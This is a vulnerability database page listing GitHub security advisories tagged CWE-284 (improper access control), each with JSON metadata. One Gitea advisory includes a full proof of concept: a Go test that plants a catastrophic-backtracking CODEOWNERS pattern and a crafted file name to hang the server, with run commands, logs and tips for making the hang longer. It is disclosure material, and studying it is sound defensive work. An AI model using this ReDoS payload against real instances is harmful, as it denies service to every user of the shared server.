CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
9954 vulnerabilities reference this CWE, most recent first.
GHSA-V8WR-R69P-MMWX
Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2022-02-23 19:14Drupal's JSON:API and REST/File modules allow file uploads through their HTTP APIs. The modules do not correctly run all file validation, which causes an access bypass vulnerability. An attacker might be able to upload files that bypass the file validation process implemented by modules on the site.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.9.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "9.1.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "9.2.0"
},
{
"fixed": "9.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13675"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-23T19:14:17Z",
"nvd_published_at": "2022-02-11T16:15:00Z",
"severity": "CRITICAL"
},
"details": "Drupal\u0027s JSON:API and REST/File modules allow file uploads through their HTTP APIs. The modules do not correctly run all file validation, which causes an access bypass vulnerability. An attacker might be able to upload files that bypass the file validation process implemented by modules on the site.",
"id": "GHSA-v8wr-r69p-mmwx",
"modified": "2022-02-23T19:14:17Z",
"published": "2022-02-12T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13675"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2021-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unrestricted Upload of File with Dangerous Type in Drupal core"
}
GHSA-V93C-3H5R-GH93
Vulnerability from github – Published: 2022-05-17 03:00 – Updated: 2022-05-17 03:00Vulnerability in the Solaris component of Oracle Sun Systems Products Suite (subcomponent: Kernel). The supported version that is affected is 11.3. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Solaris. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Solaris accessible data. CVSS v3.0 Base Score 3.7 (Integrity impacts).
{
"affected": [],
"aliases": [
"CVE-2016-8330"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-27T22:59:00Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Solaris component of Oracle Sun Systems Products Suite (subcomponent: Kernel). The supported version that is affected is 11.3. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Solaris. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Solaris accessible data. CVSS v3.0 Base Score 3.7 (Integrity impacts).",
"id": "GHSA-v93c-3h5r-gh93",
"modified": "2022-05-17T03:00:32Z",
"published": "2022-05-17T03:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8330"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95572"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037641"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V93Q-27W5-6JQ6
Vulnerability from github – Published: 2024-06-27 18:31 – Updated: 2024-09-17 18:33TELSAT marKoni FM Transmitters are vulnerable to users gaining unauthorized access to sensitive information or performing actions beyond their designated permissions.
{
"affected": [],
"aliases": [
"CVE-2024-39376"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-27T16:15:11Z",
"severity": "CRITICAL"
},
"details": "TELSAT marKoni FM Transmitters are vulnerable to users gaining unauthorized access to sensitive information or performing actions beyond their designated permissions.",
"id": "GHSA-v93q-27w5-6jq6",
"modified": "2024-09-17T18:33:24Z",
"published": "2024-06-27T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39376"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-179-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V94F-69X2-68GG
Vulnerability from github – Published: 2024-09-07 18:30 – Updated: 2024-09-07 18:30An incorrect permission assignment vulnerability allows an attacker to modify product configuration files.
{
"affected": [],
"aliases": [
"CVE-2024-42022"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-07T17:15:14Z",
"severity": "HIGH"
},
"details": "An incorrect permission assignment vulnerability allows an attacker to modify product configuration files.",
"id": "GHSA-v94f-69x2-68gg",
"modified": "2024-09-07T18:30:24Z",
"published": "2024-09-07T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42022"
},
{
"type": "WEB",
"url": "https://www.veeam.com/kb4649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V96J-25GV-G2W9
Vulnerability from github – Published: 2026-07-21 20:34 – Updated: 2026-07-21 20:34This issue has been found by a security agent and review by myself.
Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.
Who can trigger it
Any registered user on the instance. The attacker needs only:
1. A repository they own (created via normal signup)
2. A CODEOWNERS file on the default branch containing malicious patterns
3. A pull request branch containing a file with a crafted name
No elevated permissions, no admin access, no existing repositories required.
How it is triggered
The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.
Impact
Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users.
Root cause
The vulnerable regex is here:
https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886
PoC
Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.
This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.
tests/integration/pull_redos_test.go
package integration
// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
// -> routers/api/v1/repo/pull.go:CreatePullRequest
// -> pull.NewPullRequest (services/pull/pull.go)
// -> db.WithTx <- holds DB connection for duration of hang
// -> issues_model.NewPullRequest <- inserts PR into DB
// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS
// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
// - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
// - PR changed file: "aaa...X" forces O(2^N) backtracking states
import (
"fmt"
"net/http"
"net/url"
"strings"
"testing"
"time"
auth_model "gitea.dev/models/auth"
user_model "gitea.dev/models/user"
"gitea.dev/models/unittest"
"gitea.dev/modules/git"
api "gitea.dev/modules/structs"
repo_service "gitea.dev/services/repository"
files_service "gitea.dev/services/repository/files"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
onGiteaRun(t, func(t *testing.T, u *url.URL) {
user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
Name: "redos-codeowners",
Readme: "Default",
AutoInit: true,
ObjectFormatName: git.Sha1ObjectFormat.Name(),
DefaultBranch: "main",
}, true)
require.NoError(t, err)
// Push malicious CODEOWNERS to the default branch.
// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
var codeowners strings.Builder
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
OldBranch: repo.DefaultBranch,
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: "CODEOWNERS",
ContentReader: strings.NewReader(codeowners.String()),
},
},
})
require.NoError(t, err)
// Create a PR branch containing a file whose path is a late-failing input
// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
maliciousFilename := strings.Repeat("a", 25) + "X"
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
NewBranch: "attack",
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: maliciousFilename,
ContentReader: strings.NewReader("x"),
},
},
})
require.NoError(t, err)
// Obtain an API token for user2 and submit the PR creation request.
// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
// connection for the duration of the backtracking hang.
session := loginUser(t, user2.Name)
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)
start := time.Now()
req := NewRequestWithJSON(t, http.MethodPost,
fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
&api.CreatePullRequestOption{
Title: "ReDoS PoC",
Head: "attack",
Base: repo.DefaultBranch,
},
).AddTokenAuth(token)
MakeRequest(t, req, http.StatusCreated)
elapsed := time.Since(start)
t.Logf("pull.NewPullRequest completed in %s", elapsed)
assert.Greater(t, elapsed, 25*time.Second,
"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
})
}
Now run:
# 1. Build the binary (needed for git hooks during repo creation)
make build
# 2. Run the test
go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/
When the unit test starts, you should see that it takes 30 seconds with the following output:
=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
PASS
You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
A higher number of lines will increase the execution time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.26.2"
},
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58421"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:34:33Z",
"nvd_published_at": "2026-07-03T21:17:05Z",
"severity": "HIGH"
},
"details": "This issue has been found by a security agent and review by myself.\n\nGitea\u0027s CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.\n\n### Who can trigger it\n\nAny registered user on the instance. The attacker needs only:\n1. A repository they own (created via normal signup)\n2. A `CODEOWNERS` file on the default branch containing malicious patterns\n3. A pull request branch containing a file with a crafted name\n\nNo elevated permissions, no admin access, no existing repositories required.\n\n### How it is triggered\n\nThe attacker pushes a CODEOWNERS file containing repeated instances of a\ncatastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request\nfrom a branch that contains a file named with a long string of repeated\ncharacters followed by a non-matching character (e.g.\n`aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates\neach CODEOWNERS rule against each changed file path \u2014 with no timeout \u2014 causing\nthe server to hang for the duration of the backtracking.\n\n### Impact\n\nEvery pull request creation runs this evaluation inside a database transaction. A\nhung evaluation holds that transaction open, tying up a database connection for\nthe entire duration. With 11 rules in the CODEOWNERS file, a single pull request\ncreation request takes over 30 seconds. An attacker opening multiple pull\nrequests in parallel can exhaust the database connection pool, making the Gitea\ninstance unresponsive to all users.\n\n### Root cause\n\nThe vulnerable regex is here: \n\nhttps://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886\n\n### PoC\n\nBelow is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.\n\nThis is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`.\n\n`tests/integration/pull_redos_test.go`\n```go\npackage integration\n\n// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability\n// triggered via the full pull.NewPullRequest call chain.\n//\n// POST /api/v1/repos/{owner}/{repo}/pulls\n// -\u003e routers/api/v1/repo/pull.go:CreatePullRequest\n// -\u003e pull.NewPullRequest (services/pull/pull.go)\n// -\u003e db.WithTx \u003c- holds DB connection for duration of hang\n// -\u003e issues_model.NewPullRequest \u003c- inserts PR into DB\n// -\u003e PullRequestCodeOwnersReview \u003c- evaluates CODEOWNERS\n// -\u003e rule.Rule.MatchString(changedFile) \u003c- hangs here (catastrophic backtracking)\n//\n// The attacker controls both sides of the match:\n// - CODEOWNERS pattern: \"(a+)+\" compiled as ^(a+)+$ with regexp2.None (no timeout)\n// - PR changed file: \"aaa...X\" forces O(2^N) backtracking states\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tuser_model \"gitea.dev/models/user\"\n\t\"gitea.dev/models/unittest\"\n\t\"gitea.dev/modules/git\"\n\tapi \"gitea.dev/modules/structs\"\n\trepo_service \"gitea.dev/services/repository\"\n\tfiles_service \"gitea.dev/services/repository/files\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, u *url.URL) {\n\t\tuser2 := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t\trepo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{\n\t\t\tName: \"redos-codeowners\",\n\t\t\tReadme: \"Default\",\n\t\t\tAutoInit: true,\n\t\t\tObjectFormatName: git.Sha1ObjectFormat.Name(),\n\t\t\tDefaultBranch: \"main\",\n\t\t}, true)\n\t\trequire.NoError(t, err)\n\n\t\t// Push malicious CODEOWNERS to the default branch.\n\t\t// 11 identical rules \u00d7 1 changed file = 11 sequential MatchString calls.\n\t\t// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.\n\t\t// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).\n\t\tvar codeowners strings.Builder\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tOldBranch: repo.DefaultBranch,\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation: \"create\",\n\t\t\t\t\tTreePath: \"CODEOWNERS\",\n\t\t\t\t\tContentReader: strings.NewReader(codeowners.String()),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Create a PR branch containing a file whose path is a late-failing input\n\t\t// for ^(a+)+$: \u0027a\u0027s that the engine greedily matches, then \u0027X\u0027 forces\n\t\t// backtracking through O(2^N) states (~2.8s per rule at 25 chars).\n\t\tmaliciousFilename := strings.Repeat(\"a\", 25) + \"X\"\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, \u0026files_service.ChangeRepoFilesOptions{\n\t\t\tNewBranch: \"attack\",\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation: \"create\",\n\t\t\t\t\tTreePath: maliciousFilename,\n\t\t\t\t\tContentReader: strings.NewReader(\"x\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Obtain an API token for user2 and submit the PR creation request.\n\t\t// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and\n\t\t// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB\n\t\t// connection for the duration of the backtracking hang.\n\t\tsession := loginUser(t, user2.Name)\n\t\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)\n\n\t\tstart := time.Now()\n\t\treq := NewRequestWithJSON(t, http.MethodPost,\n\t\t\tfmt.Sprintf(\"/api/v1/repos/%s/%s/pulls\", user2.Name, repo.Name),\n\t\t\t\u0026api.CreatePullRequestOption{\n\t\t\t\tTitle: \"ReDoS PoC\",\n\t\t\t\tHead: \"attack\",\n\t\t\t\tBase: repo.DefaultBranch,\n\t\t\t},\n\t\t).AddTokenAuth(token)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\t\telapsed := time.Since(start)\n\n\t\tt.Logf(\"pull.NewPullRequest completed in %s\", elapsed)\n\t\tassert.Greater(t, elapsed, 25*time.Second,\n\t\t\t\"expected ~30s ReDoS hang (11 rules \u00d7 ~2.8s each); pattern may have been sanitised\")\n\t})\n}\n```\n\nNow run:\n\n```\n# 1. Build the binary (needed for git hooks during repo creation)\nmake build\n\n# 2. Run the test\ngo test -v -run \u0027^TestCodeOwnersReDoS_NewPullRequest$\u0027 -count=1 -timeout 120s ./tests/integration/\n```\n\nWhen the unit test starts, you should see that it takes 30 seconds with the following output:\n```\n=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)\n testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta\n testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)\n testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)\n testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)\n pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s\n+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714\u00b5s)\n--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)\nPASS\n```\n\nYou can modify the \"11\" number in the CODEOWNERS file to manage execution speed directly: \n```go\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n```\n\nA higher number of lines will increase the execution time.",
"id": "GHSA-v96j-25gv-g2w9",
"modified": "2026-07-21T20:34:33Z",
"published": "2026-07-21T20:34:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-v96j-25gv-g2w9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58421"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38011"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/ea35af1b68d57522c7686618bd61d3216d91589f"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service"
}
GHSA-V97J-VR7R-RW5X
Vulnerability from github – Published: 2026-08-18 21:33 – Updated: 2026-08-18 21:33Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Security). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-71040"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T21:18:03Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Security). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-v97j-vr7r-rw5x",
"modified": "2026-08-18T21:33:46Z",
"published": "2026-08-18T21:33:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71040"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V994-GGF7-GPJ5
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:22eClass platform < ip.2.5.10.2.1 allows an attacker to use GETS method to request /admin page to bypass the password validation and access management page.
{
"affected": [],
"aliases": [
"CVE-2019-9884"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-425"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-25T17:15:00Z",
"severity": "CRITICAL"
},
"details": "eClass platform \u003c ip.2.5.10.2.1 allows an attacker to use GETS method to request /admin page to bypass the password validation and access management page.",
"id": "GHSA-v994-ggf7-gpj5",
"modified": "2024-04-04T01:22:58Z",
"published": "2022-05-24T16:51:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9884"
},
{
"type": "WEB",
"url": "https://tvn.twcert.org.tw/taiwanvn/TVN-201904004"
},
{
"type": "WEB",
"url": "https://zeroday.hitcon.org/vulnerability/ZD-2019-00332"
},
{
"type": "WEB",
"url": "http://surl.twcert.org.tw/b7jfz"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V9CQ-RFF8-VGF3
Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-28 18:32Database-update requests lacked consistent token and Super User checks, this could cause unauthorized updates.
{
"affected": [],
"aliases": [
"CVE-2026-64876"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T10:16:52Z",
"severity": "HIGH"
},
"details": "Database-update requests lacked consistent token and Super User checks, this could cause unauthorized updates.",
"id": "GHSA-v9cq-rff8-vgf3",
"modified": "2026-07-28T18:32:42Z",
"published": "2026-07-23T12:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64876"
},
{
"type": "WEB",
"url": "https://regularlabs.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V9HV-398H-HMQ8
